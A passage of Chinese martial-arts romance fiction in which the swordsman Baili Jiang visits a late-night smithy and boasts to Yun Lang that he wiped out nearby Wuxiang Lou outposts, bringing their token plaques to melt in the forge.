夜半三更时,镇子大部分地方都是漆黑寂静的。 唯独郊外一处仍是火光通明,年轻铁匠只着粗布短褂俯身拉动风箱,动作间手臂与后背绷起粗隆肌肉,炉火明亮,烧得人眼睛发烫也发干。 他认真盯着火,身后不远处站着的云琅也与他一同盯着,不过她眼神微微放空,显而易见地正在发呆。 铺子里除了燃火时偶尔绽裂的噼啪声,一时间再没有其他声音。年轻铁匠有点局促地舔舔嘴唇,正准备抬头和她说点什么时,却见云琅眼光微动,忽然转头看向另一个方向。 门口不知何时站着另一道高大人影,黑金大氅,背上重剑,一双眼眨也不眨地直勾勾看向云琅,神情姿态分明是傲慢的,偏又莫名让人感觉出几分微妙炫耀般的得意。 他也不说话,只对她抬起手,亮出一把无相楼铭牌。 云琅动作一顿,便从容转过身去,对他点了点头:“好巧,少侠。” “不巧。”百里江一挑眉,也不等人许可,自己便抬脚走了进来。 铁匠下意识想动,云琅默不作声一抬手,又将人静静压了回去。 百里江的目光不曾从她身上错开,他宽肩窄腰,身形高大,站在云琅面前,对方目光所及便极难再容得下其他景色。 他低头看着她一会,慢条斯理地应道:“我就是特意来这儿找你的。” 找我? 云琅的手指微微动了动。 原本属于对方的猜测想法在此刻悉数推翻,刺客?探子?旧人后代的江湖寻仇,还是单纯好奇,试图找她踢馆的年轻江湖客? 各类想法在她脑子里飞快走了一遍,似乎都对得上又似乎都对不上,然而就在她迅速思索的功夫,百里江忽然抬起手,提醒般的对她晃了晃。 那叠在一起的铁制铭牌被捏着绳子拢在一起,发出叮叮当当的声音。 云琅:“……” 她与对方对视一瞬,难得也是有些不确定地伸出手,对方近乎是迫不及待地将那一把铭牌放在她的掌心,见她配合握住,这才开口解释: “这会镇子安静,最适合动手。 猜到你大概率要处理无相楼,不过清溪镇就这么大,想处理也麻烦,人倒是好办,怎么弄都行;唯独这身上道具不好处理,我思来想去,最好的选择就是铁匠铺的炉子。” 一把铁水悉数融开,什么痕迹也都留不下了。 他尾音上扬,又得意洋洋地和她炫耀起来:“所以,这附近无相楼的据点,我刚刚都去清了一遍。” 云琅沉默半晌,她看着手里的名牌,又看看难掩得意骄矜之色,似乎正在这里等着什么的百里江,罕见地有些迟疑。 她的理性告诉她自己现在应该说点什么。 可真的要就这么开口夸夸吗?感觉上似乎应该,但又好像哪里不太对的样子。 “……那就,多谢少侠出手相助,”她弯弯眼睛,终于还是在对方过分专注的注视中露出笑意,真诚夸奖道:“做得不错。” 百里江抱着手臂挑了挑眉,像是终于在她这儿听到了自己想听的东西,很得意的低哼一声。